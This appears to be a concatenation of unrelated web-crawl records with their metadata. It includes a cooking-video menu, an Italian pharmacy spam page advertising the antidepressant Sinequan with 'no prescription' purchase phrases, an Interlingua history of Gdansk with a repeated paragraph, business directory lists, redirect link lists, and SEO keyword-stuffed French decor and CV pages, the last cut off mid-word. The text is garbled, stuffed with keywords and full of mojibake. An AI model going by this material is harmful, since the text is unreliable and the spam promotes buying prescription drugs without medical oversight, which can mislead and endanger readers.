Videos Roberto Pocaterra Las Recetas secretas Videos Roberto Pocaterra Curso de Cocina Featured Videos Roberto Pocaterra Fajitas de Pollo Videos Roberto Pocaterra Las Recetas secretas Videos Roberto Pocaterra La Sopa del chef Videos Roberto Pocaterra Tortilla de Patatas Videos Roberto Pocaterra Curso de Cocina Videos Roberto Pocaterra Entomatadas Caseras Videos Roberto Pocaterra Receta de la Felicidad (Película)","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/robertopocaterra.com\/2019\/04\/02\/curso-de-cocina\/","date":"2020-02-25T02:06:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146004.9\/warc\/CC-MAIN-20200225014941-20200225044941-00021.warc.gz","language":"ina","language_score":0.3159788549,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31597885489463806, \"spa_Latn_score\": 0.24321642518043518, \"srd_Latn_score\": 0.10252660512924194, \"por_Latn_score\": 0.03589780628681183, \"scn_Latn_score\": 0.03211056813597679, \"kiu_Latn_score\": 0.02611348405480385, \"lat_Latn_score\": 0.020344547927379608, \"gug_Latn_score\": 0.013060785830020905, \"cbk_Latn_score\": 0.012499373406171799, \"mad_Latn_score\": 0.012473152950406075, \"vec_Latn_score\": 0.01244184747338295, \"glg_Latn_score\": 0.011556608602404594}","num_words":292,"character_repetition_ratio":0.299,"word_repetition_ratio":0.36,"special_characters_ratio":0.163,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.313,"perplexity_score":6527.5,"cluster_detection":-1} +{"text":"Valutazione 4.5 sulla base di 302 voti.\nPrezzo da €0.26 Per pillola\nSinequan genericos preço\nAcquista Doxepin hydrochloride Stati Uniti\nin linea Sinequan Doxepin hydrochloride Spagna\nprezzo Sinequan 75 mg in farmacia\nSinequan generico soft tab\nin linea Doxepin hydrochloride Italia\nacquisto Sinequan e Sinequan\nnome generico Sinequan sandoz\nconveniente 75 mg Sinequan Brasile\ncomprar Sinequan farmacias andorra\nA buon mercato 75 mg Sinequan Norvegia\ngenerico Sinequan Doxepin hydrochloride Finlandia\nAcquistare Sinequan US\ngeneric Clomid\nkipperarg6.000webhostapp.com\nAcquistare Sinequan Doxepin hydrochloride USA\ncome acquistare Sinequan generico\nSinequan precio generico\ncompra Sinequan generico brasil\nSinequan generico uruguai\nfarmacia similar Sinequan\ngenerico Doxepin hydrochloride Finlandia\nAcquistare Sinequan Doxepin hydrochloride Portogallo\nSinequan farmacia en madrid\nPrezzo basso 75 mg Sinequan Israele\ncomprare Sinequan generico\nja tem generico do Sinequan\nAcquistare Doxepin hydrochloride\nIl costo di Sinequan Doxepin hydrochloride Giappone\ngenerico Doxepin hydrochloride Italia\nOrdine Sinequan Doxepin hydrochloride Portogallo\nAcquistare Sinequan Norvegia\nAcquista Sinequan Doxepin hydrochloride Svezia\ncomprar Sinequan generico españa contrareembolso\nacquistare Sinequan in parafarmacia\nconveniente 75 mg Sinequan Danimarca\nPrezzo 75 mg Sinequan Emirati Arabi Uniti\nSconto 75 mg Sinequan Canada\ngenerico 75 mg Sinequan Repubblica Ceca\nacquisto Sinequan in italia\nPrezzo Sinequan Olanda\nQuanto costa Sinequan Austria\nSconto Sinequan Doxepin hydrochloride UK\nin linea Doxepin hydrochloride Tacchino\nSinequan farmacia\ngenerico brasileiro do Sinequan\nfarmacias puedo comprar Sinequan sin receta\nvendita di Sinequan line\nSinequan in vendita\nAcquista 75 mg Sinequan Belgio\nPrezzo basso Sinequan Regno Unito\nPrezzo Sinequan Doxepin hydrochloride Olanda\nprecio del Sinequan en farmacias del ahorro\nSinequan generico en farmacias similares mexico\nSinequan en farmacias sin receta argentina\nSconto Sinequan Emirati Arabi Uniti\nAcquista Sinequan Regno Unito\nIl costo di 75 mg Sinequan Inghilterra\ngenerico Sinequan\nAcquistare Sinequan US\ncomprar Sinequan generico fiable\nconveniente Sinequan 75 mg Belgio\nPrezzo basso Sinequan Repubblica Ceca\nSinequan generico venda online\ncomprar Sinequan generico 75 mg\nSinequan 75 mg precio farmacia españa\ngenerico 75 mg Sinequan Inghilterra\ngenerico Sinequan USA\nQuanto costa Sinequan Doxepin hydrochloride\ngenerico do Sinequan no rj\nIl costo di Sinequan Doxepin hydrochloride Svezia\ncomprar Sinequan generica farmacia\nin linea Sinequan Israele\nSinequan precio generico mexico\nAcquistare Doxepin hydrochloride Grecia\ngenerico Sinequan promoзгo\nIl costo di Sinequan 75 mg Finlandia\nin linea Sinequan Doxepin hydrochloride Portogallo\nacquistare Sinequan generico\nbasso costo Sinequan Inghilterra\nQuanto costa Sinequan 75 mg Portogallo\nPrezzo basso Sinequan 75 mg Tacchino\nA buon mercato 75 mg Sinequan Grecia\neffetti collaterali Sinequan generico\nOrdine 75 mg Sinequan Spagna\nQuanto costa Doxepin hydrochloride USA\nfoto do generico do Sinequan\nSinequan generico similar\nIl costo di 75 mg Sinequan Canada\nacquisto Sinequan postepay\nSinequan generico no brasil\nSinequan precios farmacia\ngenerico do Sinequan pre?medicine voltaren-xr used\nSinequan generico online italia\nPrezzo Sinequan Stati Uniti\nel Sinequan generico sirve\nacquisto Sinequan a san marino\nA buon mercato Doxepin hydrochloride Austria\nconveniente Sinequan 75 mg Italia\nacquistare Sinequan online\nAcquistare 75 mg Sinequan Singapore\nAcquista 75 mg Sinequan Portogallo\nSinequan generico soft tabs\nOrdine Doxepin hydrochloride Francia\nin linea Sinequan Doxepin hydrochloride Emirati Arabi Uniti\nIl costo di Sinequan Doxepin hydrochloride Inghilterra\nSinequan generico colombia\nexiste Sinequan generico no brasil\nvorrei acquistare Sinequan\ncompra de Sinequan en farmacia\ngenerico Sinequan italia\nin linea Sinequan\nIl costo di 75 mg Sinequan Belgio\nSinequan farmacia online\nconveniente Sinequan Doxepin hydrochloride Croazia\ngenerico de Sinequan en mexico\ncomprar Sinequan farmacia chile\ngenerico Sinequan 75 mg Grecia\nconveniente Sinequan Doxepin hydrochloride Giappone\ncosto del Sinequan in farmacia\nin linea Doxepin hydrochloride Olanda\nesiste Sinequan generico italia\nSconto Sinequan Stati Uniti\nPrezzo basso Sinequan Israele\nconsiglio acquisto Sinequan online\nbasso costo Sinequan Doxepin hydrochloride UK\nPrezzo basso Sinequan Doxepin hydrochloride Belgio\ngenerico Sinequan 75 mg Repubblica Ceca\nforo comprar Sinequan generico\nse comprar Sinequan sin receta medica farmacia españa\ngenerico Sinequan ultrafarma\neffetti Sinequan generico\nSinequan Doxepin hydrochloride generico\nSconto Doxepin hydrochloride Finlandia\nSinequan farmacia receta\nvendita Sinequan soft\nSinequan espana farmacia\nconveniente Sinequan 75 mg Australia\nbuy Clomid\nOWB0hO","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/kipperarg6.000webhostapp.com\/2019\/06\/miglior-farmacia-a-comprare-farmaci-generici-sinequan-acquistare-in-linea-in-oxford-pa-piu-veloce-spedizione-stati-uniti","date":"2020-06-01T16:37:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347419056.73\/warc\/CC-MAIN-20200601145025-20200601175025-00225.warc.gz","language":"ina","language_score":0.4938150942,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4938150942325592, \"lat_Latn_score\": 0.1076340526342392, \"ita_Latn_score\": 0.07498401403427124, \"eus_Latn_score\": 0.07490283995866776, \"ile_Latn_score\": 0.044470641762018204, \"mlt_Latn_score\": 0.025168290361762047, \"kiu_Latn_score\": 0.01789294369518757, \"lij_Latn_score\": 0.014550628140568733, \"por_Latn_score\": 0.013399106450378895, \"vec_Latn_score\": 0.012578992173075676, \"nld_Latn_score\": 0.011844940483570099, \"scn_Latn_score\": 0.010899854823946953}","num_words":1421,"character_repetition_ratio":0.238,"word_repetition_ratio":0.085,"special_characters_ratio":0.148,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.291,"perplexity_score":31587.5,"cluster_detection":-1} +{"text":"Le urbe Gdansk (population circa 465.000), antea anque nominate Danzig in germano, es ora le capital del provincia polonese Pomorze. Illo es situate al loco ubi le fluvio le plus importante del pais, le Vistula, disbucca in le Mar Baltic.\nUn grande parte del industria del urbe es centrate circum le construction de naves e le navigation. Le urbe ha duo areas portuari. Le Nove Porto es un grande centro industrial con cantieres naval, manufacturas metallurgic e chimic, molinos a serrar ligno e fabricas que produce alimentos. Le Porto Polnocny o Porto Nord es le plus grande projecto de disveloppamento maritime. Hic eveni le exportation de carbon e le importation de petroleo.\nGdansk ha scholas de medicina, de ingenieria e de belle artes. In le anno 1970 on ha aperite le nove universitate. Il ha anque multe ecclesias magnific, theatros e museos interessante, belle jardines e parcos, un centro maritime, un hall de concertos e un opera. Gdansk es un parte del Trojmiasto (Urbe Triple), que se compone del urbes Gdansk, Gdynia e Sopot. Le centro urban, cognoscite como Stare Miasto o Ancian Urbe, es situate al bordo del Motlawa, un riviera que disbucca in le Vistula. Edificios remarcabile in le Ancian Urbe include le Ecclesia de Sancte Catherina, del qual alicun partes data del 14-te seculo. Su interior es in stilo gothic. Le casa municipal ha essite construite inter 1587 e 1595. In le hall de entrata on vide un sculptura in basse-relievo de bronzo del astronomo de Gdansk, le famose Hevelius, qui ha vivite in le 17-me seculo. In le curso de un medie seculo on ha restaurate tote le edificios historic del urbe, que habeva suffrite damnos enorme in le ultime menses del secunde guerra mundial.\nLe prime mention de Gdansk como un urbe polonese data de 997 o 999. In le anno 1260 illo ha obtenite autonomia municipal.Alora ille se ha disveloppate como un centro de commercio. In 1308 le Cavalleros Teutonic ha conquerite le urbe. Sub lor governamento le urbe ha devenite un membro prospere del Liga Hanseatic. In 1466 le rege Casimir IV de Polonia ha reganiate le territorio post un guerra de dece-tres annos. Como regratiamento pro le loyalitate del urbe le rege ha date autonomia local a Gdansk. Tosto le urbe se ha expandite multo. Illo ha attingite su culmine durante le periodo del Renascentia como le porto le plus prospere del Baltico. Su cantieres naval construeva lor prime nave de guerra in 1572. Alicun annos postea su population cresceva a 77000, le plus grande inter le urbes de Europa oriental. Le guerras svedese del 17-me seculo ha stoppate le crescentia economic del urbe e le declino ha comenciate.\nIn 1772 Prussia ha conquerite Gdansk e in 1793 illo ha devenite un parte de iste pais. Alora su activitates portuari discresceva rapidemente. Con le exception de circa septe annos durante le guerras napoleonic, quando illo esseva declarate un stato libere, Gdansk remaneva in manos german usque a post le prime guerra mundial. Inter 1919 e 1939 illo habeva de novo le status de un urbe libere, sub le Tractato de Versailles, con Polonia habente grande influentia governative super le urbe. Tamen le influentia de Germania deveniva plus forte, e in 1938 le dictator german Adolf Hitler exigeva que Gdansk debeva esser date a Germania. Polonia, appoiate per Grande Britannia e Francia, refusava. Hitler usava iste refusa como un excusa pro le invasion de Polonia in septembre de 1939, le comencio del secunde guerra mundial. In martio 1945 le urbe retornava a Polonia. Conflictos inter le direction communista e le personal del cantier naval de Gdansk in le anno 1980 duceva al creation del syndicato obrer Solidaritate. Isto ha resultate tosto in democratia in Polonia. Le guerras svedese del 17-me seculo ha stoppate le crescentia economic del urbe e le declino ha comenciate.\nIn 1772 Prussia ha conquerite Gdansk e in 1793 illo ha devenite un parte de iste pais. Alora su activitates portuari discresceva rapidemente. Con le exception de circa septe annos durante le guerras napoleonic, quando illo esseva declarate un stato libere, Gdansk remaneva in manos german usque a post le prime guerra mundial. Inter 1919 e 1939 illo habeva de novo le status de un urbe libere, sub le Tractato de Versailles, con Polonia habente grande influentia governative super le urbe. Tamen le influentia de Germania deveniva plus forte, e in 1938 le dictator german Adolf Hitler exigeva que Gdansk debeva esser date a Germania. Polonia, appoiate per Grande Britannia e Francia, refusava. Hitler usava iste refusa como un excusa pro le invasion de Polonia in septembre de 1939, le comencio del secunde guerra mundial. In martio 1945 le urbe retornava a Polonia. Conflictos inter le direction communista e le personal del cantier naval de Gdansk in le anno 1980 duceva al creation del syndicato obrer Solidaritate. Isto ha resultate tosto in democratia in Polonia.","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/interlingua-nld.com\/site\/n37.htm","date":"2023-10-04T20:25:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511406.34\/warc\/CC-MAIN-20231004184208-20231004214208-00667.warc.gz","language":"ina","language_score":0.9999568462,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.9999568462371826}","num_words":991,"character_repetition_ratio":0.042,"word_repetition_ratio":0.47,"special_characters_ratio":0.211,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":245.8,"cluster_detection":-1} +{"text":"|Granite Surface Plates in Alabama||Granite Surface Plates in Alaska|\n|Granite Surface Plates in Alberta||Granite Surface Plates in Arizona|\n|Granite Surface Plates in Arkansas||Granite Surface Plates in British Columbia|\n|Granite Surface Plates in California||Granite Surface Plates in Colorado|\n|Granite Surface Plates in Connecticut||Granite Surface Plates in Delaware|\n|Granite Surface Plates in Florida||Granite Surface Plates in Georgia|\n|Granite Surface Plates in Hawaii||Granite Surface Plates in Idaho|\n|Granite Surface Plates in Illinois||Granite Surface Plates in Indiana|\n|Granite Surface Plates in Iowa||Granite Surface Plates in Kansas|\n|Granite Surface Plates in Kentucky||Granite Surface Plates in Louisana|\n|Granite Surface Plates in Maine||Granite Surface Plates in Manitoba|\n|Granite Surface Plates in Maryland\/DC||Granite Surface Plates in Massachusetts|\n|Granite Surface Plates in Michigan||Granite Surface Plates in Minnesota|\n|Granite Surface Plates in Mississippi||Granite Surface Plates in Missouri|\n|Granite Surface Plates in Montana||Granite Surface Plates in Nebraska|\n|Granite Surface Plates in Nevada||Granite Surface Plates in New Brunswick|\n|Granite Surface Plates in New Hapshire||Granite Surface Plates in New Jersey|\n|Granite Surface Plates in New Mexico||Granite Surface Plates in New York|\n|Granite Surface Plates in Newfoundland and Labrador||Granite Surface Plates in North Carolina|\n|Granite Surface Plates in North Dakota||Granite Surface Plates in Northwest Territories|\n|Granite Surface Plates in Nova Scotia||Granite Surface Plates in Nunavut|\n|Granite Surface Plates in Ohio||Granite Surface Plates in Oklahoma|\n|Granite Surface Plates in Ontario||Granite Surface Plates in Oregon|\n|Granite Surface Plates in Pennsylvania||Granite Surface Plates in Prince Edwards Island|\n|Granite Surface Plates in Quebec||Granite Surface Plates in Rhode Island|\n|Granite Surface Plates in Saskatchewan||Granite Surface Plates in South Carolina|\n|Granite Surface Plates in South Dakota||Granite Surface Plates in Tennessee|\n|Granite Surface Plates in Texas||Granite Surface Plates in Utah|\n|Granite Surface Plates in Vermont||Granite Surface Plates in Virginia|\n|Granite Surface Plates in Washington||Granite Surface Plates in West Virginia|\n|Granite Surface Plates in Wisconsin||Granite Surface Plates in Wyoming|\n|Granite Surface Plates in Yukon|","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/industrynet.com\/categories\/GR0205\/granite-surface-plates","date":"2016-10-28T08:19:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988721595.48\/warc\/CC-MAIN-20161020183841-00393-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.4065525234,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4065525233745575, \"bew_Latn_score\": 0.2355630099773407, \"cos_Latn_score\": 0.15475645661354065, \"eng_Latn_score\": 0.044006701558828354, \"sco_Latn_score\": 0.04058053344488144}","num_words":649,"character_repetition_ratio":0.552,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.338,"perplexity_score":14904.0,"cluster_detection":-1} +{"text":"|Cellular Telephones in Alabama||Cellular Telephones in Alaska|\n|Cellular Telephones in Alberta||Cellular Telephones in Arizona|\n|Cellular Telephones in Arkansas||Cellular Telephones in British Columbia|\n|Cellular Telephones in California||Cellular Telephones in Colorado|\n|Cellular Telephones in Connecticut||Cellular Telephones in Delaware|\n|Cellular Telephones in Florida||Cellular Telephones in Georgia|\n|Cellular Telephones in Hawaii||Cellular Telephones in Idaho|\n|Cellular Telephones in Illinois||Cellular Telephones in Indiana|\n|Cellular Telephones in Iowa||Cellular Telephones in Kansas|\n|Cellular Telephones in Kentucky||Cellular Telephones in Louisana|\n|Cellular Telephones in Maine||Cellular Telephones in Manitoba|\n|Cellular Telephones in Maryland\/DC||Cellular Telephones in Massachusetts|\n|Cellular Telephones in Michigan||Cellular Telephones in Minnesota|\n|Cellular Telephones in Mississippi||Cellular Telephones in Missouri|\n|Cellular Telephones in Montana||Cellular Telephones in Nebraska|\n|Cellular Telephones in Nevada||Cellular Telephones in New Brunswick|\n|Cellular Telephones in New Hapshire||Cellular Telephones in New Jersey|\n|Cellular Telephones in New Mexico||Cellular Telephones in New York|\n|Cellular Telephones in Newfoundland and Labrador||Cellular Telephones in North Carolina|\n|Cellular Telephones in North Dakota||Cellular Telephones in Northwest Territories|\n|Cellular Telephones in Nova Scotia||Cellular Telephones in Nunavut|\n|Cellular Telephones in Ohio||Cellular Telephones in Oklahoma|\n|Cellular Telephones in Ontario||Cellular Telephones in Oregon|\n|Cellular Telephones in Pennsylvania||Cellular Telephones in Prince Edwards Island|\n|Cellular Telephones in Quebec||Cellular Telephones in Rhode Island|\n|Cellular Telephones in Saskatchewan||Cellular Telephones in South Carolina|\n|Cellular Telephones in South Dakota||Cellular Telephones in Tennessee|\n|Cellular Telephones in Texas||Cellular Telephones in Utah|\n|Cellular Telephones in Vermont||Cellular Telephones in Virginia|\n|Cellular Telephones in Washington||Cellular Telephones in West Virginia|\n|Cellular Telephones in Wisconsin||Cellular Telephones in Wyoming|\n|Cellular Telephones in Yukon|","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/industrynet.com\/categories\/TE0103\/cellular-telephones","date":"2017-04-26T18:56:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121528.59\/warc\/CC-MAIN-20170423031201-00429-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.5641375184,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5641375184059143, \"ast_Latn_score\": 0.07035482674837112, \"eng_Latn_score\": 0.05082821846008301, \"lat_Latn_score\": 0.044234029948711395, \"war_Latn_score\": 0.021825412288308144, \"kos_Latn_score\": 0.018719138577580452, \"lmo_Latn_score\": 0.016612909734249115, \"taq_Latn_score\": 0.016532525420188904, \"cbk_Latn_score\": 0.01152587216347456, \"dag_Latn_score\": 0.010462353937327862}","num_words":460,"character_repetition_ratio":0.519,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":0.545,"perplexity_score":13384.3,"cluster_detection":-1} +{"text":"via Le MITHE de Marseille http:\/\/ift.tt\/2ufbvvU\nvia Le MITHE de Marseille http:\/\/ift.tt\/2IiWHzj\nvia Le MITHE de Marseille http:\/\/ift.tt\/2DeIP5k\nvia Le MITHE de Marseille http:\/\/ift.tt\/2IecPC9\nvia Le MITHE de Marseille http:\/\/ift.tt\/2oUUXUV\nvia Le MITHE de Marseille http:\/\/ift.tt\/2G3xqbK\nvia Le MITHE de Marseille http:\/\/ift.tt\/2D6CQzp\nvia Le MITHE de Marseille http:\/\/ift.tt\/2H8q7yR\nvia Le MITHE de Marseille http:\/\/ift.tt\/2FFSOUn\nvia Le MITHE de Marseille http:\/\/ift.tt\/2sTKMEH","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/www.mithedemarseille.com\/tag\/impro\/","date":"2018-03-24T08:13:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649961.11\/warc\/CC-MAIN-20180324073738-20180324093738-00249.warc.gz","language":"ina","language_score":0.4718674123,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4718674123287201, \"fra_Latn_score\": 0.2006395012140274, \"gle_Latn_score\": 0.0973888635635376, \"nap_Latn_score\": 0.015612800605595112, \"kiu_Latn_score\": 0.012816634960472584, \"eng_Latn_score\": 0.012412420473992825, \"oci_Latn_score\": 0.011492105200886726, \"ltz_Latn_score\": 0.010651971213519573}","num_words":170,"character_repetition_ratio":0.277,"word_repetition_ratio":0.255,"special_characters_ratio":0.261,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":0.381,"perplexity_score":4230.8,"cluster_detection":-1} +{"text":"blog deco scandinave salle de bain en.\ndeco salle de bain nordique style scandinave decoration,deco salle de bain style scandinave idee teva belle,decoration salle de bain scandinave teva deco style inspiration,teva deco salle de bain scandinave decoration pour idee inspiration,idee deco salle de bain scandinave blog teva,deco salle de bain nordique decoration scandinave pour,blog deco scandinave salle de bain style decoration pour en,decoration salle de bain scandinave idee deco la en photos pour,deco salle de bain nordique idee scandinave teva ,deco salle de bain style scandinave blog decoration en","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/tristao.me\/deco-salle-de-bain-scandinave\/blog-deco-scandinave-salle-de-bain-en\/","date":"2018-03-20T04:16:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647280.40\/warc\/CC-MAIN-20180320033158-20180320053158-00137.warc.gz","language":"ina","language_score":0.5633733273,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.563373327255249, \"eng_Latn_score\": 0.12038774788379669, \"sco_Latn_score\": 0.11582636833190918, \"fra_Latn_score\": 0.03761530667543411, \"pan_Latn_score\": 0.01715875044465065, \"dag_Latn_score\": 0.01215134933590889}","num_words":158,"character_repetition_ratio":0.263,"word_repetition_ratio":0.013,"special_characters_ratio":0.161,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":0.563,"perplexity_score":5320.4,"cluster_detection":-1} +{"text":"Idee Deco De Salle De Bain id e moderne d co petite salle de bain deco maison moderne, salle de bains 20 id es d co pour la salle de bains et, idee deco salle de bain moderne, idee deco de salle de bain kirafes, id e d co salle de bain page 1, id e deco salle de bain design, d co salle de bain image, idee deco salle de bain noir et gris,","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/aast.us\/idee-deco-de-salle-de-bain.html","date":"2018-05-21T08:44:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863972.16\/warc\/CC-MAIN-20180521082806-20180521102806-00360.warc.gz","language":"ina","language_score":0.3655126691,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3655126690864563, \"pfl_Latn_score\": 0.18462015688419342, \"glg_Latn_score\": 0.09324868023395538, \"gul_Latn_score\": 0.06265681982040405, \"sco_Latn_score\": 0.06104492396116257, \"pan_Latn_score\": 0.03514394164085388, \"rmq_Latn_score\": 0.027121085673570633, \"nrm_Latn_score\": 0.02063121274113655, \"fra_Latn_score\": 0.015224137343466282, \"eus_Latn_score\": 0.015085939317941666, \"lim_Latn_score\": 0.013615220785140991, \"wes_Latn_score\": 0.012592962943017483, \"cuk_Latn_score\": 0.011513601057231426}","num_words":114,"character_repetition_ratio":0.252,"word_repetition_ratio":0.019,"special_characters_ratio":0.251,"stopwords_ratio":0.228,"flagged_words_ratio":0.0,"lang_id_score":0.419,"perplexity_score":2459.7,"cluster_detection":-1} +{"text":"idee deco moderne idace dacco petit salon moderne idee deco chambre moderne grise.\nidee deco moderne daccoration dun salon moderne et design idee deco salon salle a manger moderne.\nidee deco moderne idee deco chambre a coucher moderne.\nidee deco moderne idace daccoration salon moderne idee deco chambre a coucher moderne.\nidee deco moderne les meubles scandinaves beaucoup didaces en photos idee decoration moderne salon.\nidee deco moderne idee decoration salon marocain moderne d id es deco design idee decoration salon marocain moderne idee deco salon moderne chaleureux.\nidee deco moderne daccoration et design du salon moderne en 107 idaces superbes idee deco chambre femme moderne.\nidee deco moderne dacco salon gris et blanc donnez vie a votre intacrieur salon canape gris idee deco idee deco melange moderne ancien.\nidee deco moderne daccoration et design du salon moderne en 107 idaces superbes idee deco chambre moderne adulte.\nidee deco moderne idee deco design avec maison on decoration d interieur moderne the good idees et beautiful architecture house with pool in johannesburg 940x626 idee deco chambre baroque moderne.\nidee deco moderne salon gris et taupe idace de daccoration moderne idee deco moderne maison.\nidee deco moderne idees decoration interieur maison avec idee daccoration de noal pour canapac convertible pour noal amacnagement intacrieur idee deco moderne dans maison ancienne.\nidee deco moderne idee decoration maison moderne idee deco chambre moderne grise.\nidee deco moderne emejing idee deco moderne ideas matkin info matkin info idee decoration appartement moderne.\nidee deco moderne salons modernes idaces dacco conseils et tendances idee deco salon moderne noir et blanc.\nidee deco moderne daccoration et design du salon moderne en 107 idaces superbes idees deco moderne maison.\nidee deco moderne atelier de lacbacniste c cognard eure restaurateur fabricant agencement paris idee deco interieur maison moderne.\nidee deco moderne daccoration et design du salon moderne en 107 idaces superbes idee decoration chambre moderne.\nidee deco moderne dacco moderne pour le salon 85 idaces avec canapac gris avec canapac convertible pour noal idee deco de salon idee deco moderne pas cher.\nidee deco moderne dacco a maison moderne idace dacco intacrieur idees deco moderne maison.\nidee deco moderne agrandir un salon dirigac vers une vue incroyable idee deco salon moderne et ancien.\nidee deco moderne decoration d appartement moderne idee deco interieur salon maisondours idee deco salon marocain moderne.\nidee deco moderne idace dacco de salon moderne art abstrait idee deco salon moderne noir et blanc.\nidee deco moderne idee deco interieur maison moderne.\nidee deco moderne idee deco chambre parentale moderne.\nidee deco moderne beautiful decoration idee deco pour chambre moderne.\nidee deco moderne 10 idaces dacco pour un petit salon au top idee deco salon salle a manger moderne.\nidee deco moderne idee deco chambre moderne grise.\nidee deco moderne idaces dacco maison moderne idee decoration appartement moderne.\nidee deco moderne idaces dacco salon lumineux moderne idee deco salle a manger moderne.\nidee deco moderne decoration moderne idees deco salon gris avec idee prune maison moderne et blanc 687x487 idees deco idee deco moderne pas cher.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/wealthof.me\/idee-deco-moderne\/","date":"2018-07-20T07:06:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591543.63\/warc\/CC-MAIN-20180720061052-20180720081052-00373.warc.gz","language":"ina","language_score":0.3460515738,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.34605157375335693, \"fra_Latn_score\": 0.28113222122192383, \"lim_Latn_score\": 0.05277622491121292, \"eng_Latn_score\": 0.0315270721912384, \"enm_Latn_score\": 0.03051809035241604, \"vls_Latn_score\": 0.029599005356431007, \"ile_Latn_score\": 0.02164570614695549, \"wln_Latn_score\": 0.012968975119292736, \"sco_Latn_score\": 0.012468889355659485, \"wol_Latn_score\": 0.012094237841665745, \"dan_Latn_score\": 0.011823604814708233}","num_words":880,"character_repetition_ratio":0.265,"word_repetition_ratio":0.187,"special_characters_ratio":0.172,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":0.346,"perplexity_score":5262.3,"cluster_detection":-1} +{"text":"bibliotheque moderne design meuble bibliotheque etagere mural bois design simple idee bibliotheque moderne design.\nbibliothaque xxl bibliotheque moderne design atelier brick modale pourquoi contemporaine,salons idaces meuble le des bibliotheque moderne design 50 inspirantes tvs en photos taclac,bibliotheque moderne design france salon bibliothaque nantes par gautier preface,design beige moderne bibliotheque mobili bois rebeccaar etageres,design lorelis choix au bibliothaque sept laquac etagare bibliotheque moderne couleurs,blanche interieur design bibliotheque moderne bibliothaque,bibliothaques bibliotheque moderne design bibliothaque ,etagere moderne design bibliotheque meubles meuble,bureau bibliotheque moderne en design bibliothaque, de blanc le daccoration moderne epurac design bibliotheque photos bibliothaque.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/soundup.co\/bibliotheque-moderne-design\/bibliotheque-moderne-design-meuble-bibliotheque-etagere-mural-bois-design-simple-idee-bibliotheque-moderne-design\/","date":"2018-11-19T02:55:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039745015.71\/warc\/CC-MAIN-20181119023120-20181119045120-00097.warc.gz","language":"ina","language_score":0.6019617319,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6019617319107056, \"fra_Latn_score\": 0.16407378017902374, \"lat_Latn_score\": 0.0995778888463974, \"eng_Latn_score\": 0.012881402857601643, \"enm_Latn_score\": 0.011449496261775494, \"eus_Latn_score\": 0.010830312967300415, \"mfe_Latn_score\": 0.010384519584476948}","num_words":209,"character_repetition_ratio":0.259,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":0.602,"perplexity_score":13986.3,"cluster_detection":-1} +{"text":"le curriculum vitae le curriculum vitae en francais.\nle curriculum vitae curriculum vitae curriculum vitae template en le curriculum vitae examples.\nle curriculum vitae le curriculum vitae cv.\nle curriculum vitae curriculum vitae le curriculum vitae pdf.\nle curriculum vitae lovely curriculum vitae stage la curriculum vitae cv.\nle curriculum vitae template curriculum vitae la curriculum vitae cv.\nle curriculum vitae 1 curriculum vitae grange personal profi surname grange first name la curriculum vitae cv.\nle curriculum vitae fond civil prac age le curriculum vitae cv exemple.\nle curriculum vitae curriculum vitae of symbiosis ltd page 1 curriculum vitae of brief career overview la curriculum vitae cv.\nle curriculum vitae le curriculum vitae definition.\nle curriculum vitae resume template resume template download curriculum vitae example cover download le curriculum vitae pdf.\nle curriculum vitae curriculum vita ha i date of birth le curriculum vitae examples.\nle curriculum vitae curriculum vitae template formal format formal resume template word le curriculum vitae en france.\nle curriculum 